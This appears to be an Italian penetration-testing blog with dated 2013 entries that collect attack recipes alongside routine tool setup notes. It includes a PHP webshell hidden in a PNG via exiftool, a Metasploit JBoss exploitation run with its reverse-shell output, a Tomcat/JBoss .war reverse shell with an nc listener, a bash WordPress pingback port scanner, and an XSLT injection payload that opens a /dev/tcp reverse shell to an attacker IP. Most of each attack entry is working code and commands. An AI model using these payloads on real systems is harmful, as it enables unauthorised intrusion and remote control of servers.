19/07/13

Creare una webshell-image con exiftool

1) Creare un file.php con il seguente codice (ad esempio):
<?php system($_GET['c']); ?> 

2) Iniettarlo in un'immagine usando exiftool:
# exiftool "-comment<=file.php" malicious.png

12/06/13

WebMatrix

WebMatrix e' un "web development tool" che supporta diverse tecnologie e puo' essere utilizzato per testare/studiare applicazioni web di terze parti:

http://www.microsoft.com/web/webmatrix/

11/06/13

Microsoft IIS Tilde Character Information Vulnerability

Vulterabilita' non nuovissima, ma ancora molto utile:

http://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

http://www.exploit-db.com/exploits/19525/


Al seguente link e' possibile scaricare lo scanner di cui si parla nel documento:


https://code.google.com/p/iis-shortname-scanner-poc/downloads/detail?name=scanner_source_and_compiled.zip


OpenVas: a Nessus alternative - Kali Linux

1) Effettuare il setup:
# openvas-setup

2) Eseguire il seguente comando per individuare il process "gsad":
# neststat -anpt | grep gsad
tcp  0  0  127.0.0.1:9392  0.0.0.0:*  LISTEN  3558/gsad 

3) Killare il processo gsad. 

4) Riavviare gsad usando il seguente comando
# gsad --http-only --listen=127.0.0.1 -p 9392

5) Aggiungere un "admin user":
openvasad -c 'add_user' -n nome_utente -r Admin

6) collegarsi via browser al seguente indirizzo:
http://127.0.0.1:9392 ed effettuare il login con l'utente creato. 

26/05/13

ProxyDroid + Burp: Analizzare il traffico generato dalle applicazioni android

Solo per "rooted phones":

1) Collegare PC e cellulare alla stessa LAN

2) Sul cellulare: scaricare ProxyDroid dal Play Store:
https://play.google.com/store/apps/details?id=org.proxydroid&hl=it

3) Sul PC: configurare Burp ( o il WebProxy che preferite ) in modo da accettare connessioni sulla porta XXXX di una delle interfacce collegate alla LAN

4) Sul cellulare: configurare ProxyDroid in modo da utilizzare il proxy configurato sul PC

Sarà ora possibile intercettare e analizzare il traffico generato dalle App del cellulare

Un'alternativa è utilizzare wireshark (https://play.google.com/store/apps/details?id=lv.n3o.shark&feature=search_result#?t=W251bGwsMSwxLDEsImx2Lm4zby5zaGFyayJd). 

22/05/13

JBOSS 4.x 5.x hacking through metasploit (/invoker/JMXInvokerServlet)

1) Scansione di JBoss Server usando il modulo "auxiliary/scanner/http/jboss_vulnscan" di metasploit

2) Verificare le vulnerabilita'. 
Nel nostro caso e' stata individuata la seguente:
[+] X.X.X.X:80 /invoker/JMXInvokerServlet does not require authentication (200)

3) utilizzare il modulo "exploit/multi/http/jboss_invoke_deploy" di metasploit e "settando" il PAYLOAD nel seguente modo: 
set PAYLOAD linux/x86/shell_reverse_tcp

Se l'exploit andra' a buon fine, si otterra' il seguente output:


msf exploit(jboss_invoke_deploy) > exploit

[*] Started reverse handler on x.x.x.x:4444 
[*] Using manually select target: "Linux x86"
[*] Deploying stager
[*] Calling stager: /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp
[-] http request failed to /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp [404]
[*] Uploading payload through stager
[*] Calling payload: /bZJOCbRRuNR/BgTxdFdE.jsp
[*] Removing payload through stager
[*] Removing stager
[*] Command shell session 1 opened (x.x.x.x:4444 -> y.y.y.y:49052) at 2013-05-22 14:53:29 +0100
whoami
jboss

ALTERNATIVA:
provare ad utilizzare il tool seguente
http://www.hsc.fr/ressources/outils/jisandwis/download/README-jis

JBoss and Tomcat Hacking

Una volta acceduti al pannello di controllo di JBoss (http://target:<port>/jmx-console) o Tomcat (http://target:<port>/manager/htrml), tramite bruteforce/credenziali di default, si dovra' creare una webshell ed eseguire il deploy.

Effettuare i seguenti passi:

1) cercare il payload adatto tramite msfupload e sceglierne uno idoneo: 
# msfpayload -l |grep java

2) verificare quali opzioni sono disponibili:
# msfpayload java/shell_reverse_tcp o (ad esempio)

3) creare un .war contenente il payload scelto: 
# msfpayload java/shell_reverse_tcp LHOST=ip_vostra_macchina LPORT=4444 W > poc.war

4) mettersi in listen sulla posta 4444 della propria macchina:
# nc -lvp 4444

listening on [any] 4444 ...


5) effettuare il deploy dell'applicazione file "poc.war" sul server vittima (Tomcat o JBoss)

6) eseguire il payload lanciando l'applicazione da browser

Se tutto e' andato a buon fine si otterra' una reverse shell sulla porta 4444 della propria macchina:

# nc -vvlp 4444
listening on [any] 4444 ...
connect to [X.X.X.X] from vittima [X.X.X.X] 52456




12/05/13

Wordpress Pingback Portscanner

Piccolo POC scritto in bash (la vulnerabilità permette di scansionare anche le porte di IP interni):


#!/bin/sh
#

# Exploit Title: WordPress xmlrpc.php pingback portscanner

# Date: 12/05/2013
# Exploit Author: pimperato
# Vendor Homepage: http://wordpress.com/
# Version: v 3.5 enables the xmlrpc.php interface by default
#
# Description="[...] The Pingback API is publicly available by default
# in WordPress 3.5 and doesn    require any authentication. By using
# this API, we can essentially use a default WordPress 3.5 installation
# to perform port scanning for us.  Not only can we relay scans through
# the website, but we can attempt to scan the web server itself (127.0.0.1)
# or even the INTERNAL NETWORK the server is part of [...]"
# Reference: http://www.pentestgeek.com/2013/01/03/wordpress-pingback-portscanner-metasploit-module/


if [ "$1" = "" -o "$2" = "" -o "$3" = "" -o "$4" = ""  ]
then
 echo "usage: $0 <http://wordpress_blog/xmlrpc.php> <http://target> <range_ports> <http://wordpress_blog/path_to_existing_post>"
 echo "ex.  : $0 http://wordpress_blog.example.com/xmlrpc.php http://target.example.com 0-65535 http://wordpress_blog.example.com/existing_post/"
 exit 1
fi

port_start=$(echo $3 | awk -F"-" '{print $1}')

port_stop=$(echo $3 | awk -F"-" '{print $2}')

if [ "$port_start" -gt "$port_stop" -o "$port_start" -lt 0 -o "$port_stop" -gt 65535 ]

 then
 echo "port range not correct"
  exit 1
fi

searchstring16="<int>16</int>" #port closed

searchstring17="<int>17</int>" #port open
searchstring32="<int>32</int>" #port open, but the title can't be found
searchstring33="<int>33</int>" #not a valid post

echo "*** portscan started ***"

for port in `seq $port_start $port_stop`
do
 xml="<?xml version=\"1.0\" encoding=\"iso-8859-1\"?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>$2:$port</string></value></param><param><value><string>$4</string></value></param></params></methodCall>"
 res=$(curl -s --data "$xml" "$1")
 if echo "$res" | grep -q "$searchstring17"
 then
  echo $2:$port
 else
  if echo "$res" | grep -q "$searchstring32"
  then
   echo $2:$port
  fi
 fi
 sleep 1
done
echo "*** portscan finished ***"


reference: http://www.pentestgeek.com/2013/01/03/wordpress-pingback-portscanner-metasploit-module/

05/05/13

Creare un WAR a partire da un JSP

Utile per creare una webshell di cui fare il deploy su Server Apache Tomcat o JBoss:

# jar -cf webshell.war webshell.jsp

Ottima webshell:
http://i8jesus.com/?p=191

16/04/13

Armitage - Kali Limux

Prima di lanciare Armitage, si devono avviare i servizi postgresql e metasploit:

root@kali:~# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.

root@kali:~# service metasploit start

[ ok ] Metasploit rpc server already started.
[ ok ] Metasploit web server already started.

root@kali:~# armitage


10/04/13

Wapiti - Web Security Scanner

Esempio contenuto nel file example.txt di wapiti:

# python getcookie.py cookies.txt http://127.0.0.1/vuln/?page=loginPlease enter values for the folling form :url = http://127.0.0.1/vuln/login.php login (on) : totopassword (on) : toto0 : <Cookie PHPSESSID=8qte5k7jr6ogkocrlcrk9obmj2 for 127.0.0.1/> 
Then I scan the vuln website using the cookie and excluding the logout script 
# python wapiti.py http://127.0.0.1/vuln/ -c cookies.txt -x http://127.0.0.1/vuln/index.php?page=logout

Installare le VirtualBox Guest Additions in Kali Linux

# apt-get install -y linux-headers-$(uname -r)
# cd /media/cdrom
# sh VBoxLinuxAdditions.run

11/01/13

XSLT os command execution (reverse shell)


XSLT code injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:j="http://xml.apache.org/xalan/java" xmlns:runtime="xalan://java.lang.Runtime" version="1.0">
<xsl:output method="text"/>
<xsl:strip-space elements="*"/>
<xsl:variable name="rt" select="runtime:getRuntime()"/>
<xsl:variable name="unix_shell" select="'/bin/bash'"/>
<xsl:variable name="unix_option" select="'-c'"/>
<xsl:variable name="command" select="'0&lt;&amp;196;exec 196&lt;&gt;/dev/tcp/<attackerIP>/2222; sh &lt;&amp;196 &gt;&amp;196 2&gt;&amp;196'"/>
<xsl:variable name="separator" select="' ---Separator-- '"/>
<xsl:template match="/">
<xsl:variable name="tmp">
<xsl:value-of select="concat($unix_shell, $separator, $unix_option, $separator, $command)"/>
</xsl:variable>
<xsl:variable name="cmd" select="j:java.lang.String.new($tmp)"/>
<xsl:variable name="array" select="j:split($cmd, $separator)"/>
<xsl:variable name="proc" select="runtime:exec($rt, $array)"/>
</xsl:template>
</xsl:stylesheet>

Riferimenti:
http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Engine_XalanJ